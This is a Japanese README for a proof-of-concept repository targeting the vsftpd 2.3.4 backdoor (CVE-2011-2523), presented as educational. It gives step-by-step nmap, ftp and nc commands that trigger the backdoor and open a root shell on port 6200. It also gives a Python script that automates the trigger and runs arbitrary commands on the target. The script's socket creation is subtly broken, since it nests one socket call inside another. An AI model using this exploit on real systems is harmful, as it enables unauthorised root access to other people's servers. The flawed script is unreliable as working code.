vsftpd-2.3.4---Backdoor-Command-Execution

vsftpd 2.3.4（CVE-2011-2523）は、Root Shell に到達する重大な脆弱性です。このリポジトリでは、教育目的で、この脆弱性を手動および自動（Python）で段階的に悪用する PoC を紹介します。

この脆弱性はどのようなものか？

まず、これはサービス側のエクスプロイトなので、リモートから悪用します。仕組みはこうです。デフォルトでポート 21 の FTP サービスに :) を含むユーザー名で接続すると、システムが TCP ポート 6200 に Root Shell を開くようにトリガーされます。そのため、誰でも接続してターゲットサーバーへの Root アクセスを取得できてしまうのです。これは壊滅的な事態です。では、実際に段階を追ってやってみましょう。全体像をつかむために、まず手動で説明し、次に自動で悪用する Python スクリプトを紹介します。

手動

ポートスキャン

1. ポート 21 がオープン

nmap -p21 -sV -sC -O Target_IP 

2. ポート 6200 がクローズ

nmap -p6200 Target_IP

• 現時点ではポート 6200 はクローズ

エクスプロイト

3. FTP サービスに接続し、悪意のあるユーザー名を使用してシステムをトリガーし、ポート 6200 を開かせる

ftp Target_IP 

• ユーザー名: anything:)
• パスワード: anything

4. FTP 接続後にポート 6200 を確認する

nmap -p6200 Target_IP

ポート 6200 がオープンになりました。これがバックドアです

5. ポート 6200 に接続し、サーバー全体で Root Shell を取得する

nc -nv Target_IP 6200

最後に、ターゲットマシン上で Root Shell を取得しました。

自動

手動で実行したので、エクスプロイトの手順が分かりました。

1. ポート（21）で FTP サーバーに接続する。
2. バックドアをトリガーするために :) を含むユーザー名を使用する。
3. ポート（6200）に接続する。

#!/usr/bin/python3 

from ftplib import FTP
import socket
import sys
import time

Target_IP = sys.argv[1]
cmd = sys.argv[2]

# Step1: Connect to FTP
try:
  ftp = FTP(Target_IP,timeout=2)
  ftp.login("user:)","password") # Step2: Send the malicious username
except:
  pass

time.sleep(1) # To give a time for the server to open the port (6200)

#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
  shell.connect((Target_IP,6200))
except:
  print("Shell Failed")

#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())

#Finally close the connection
shell.close()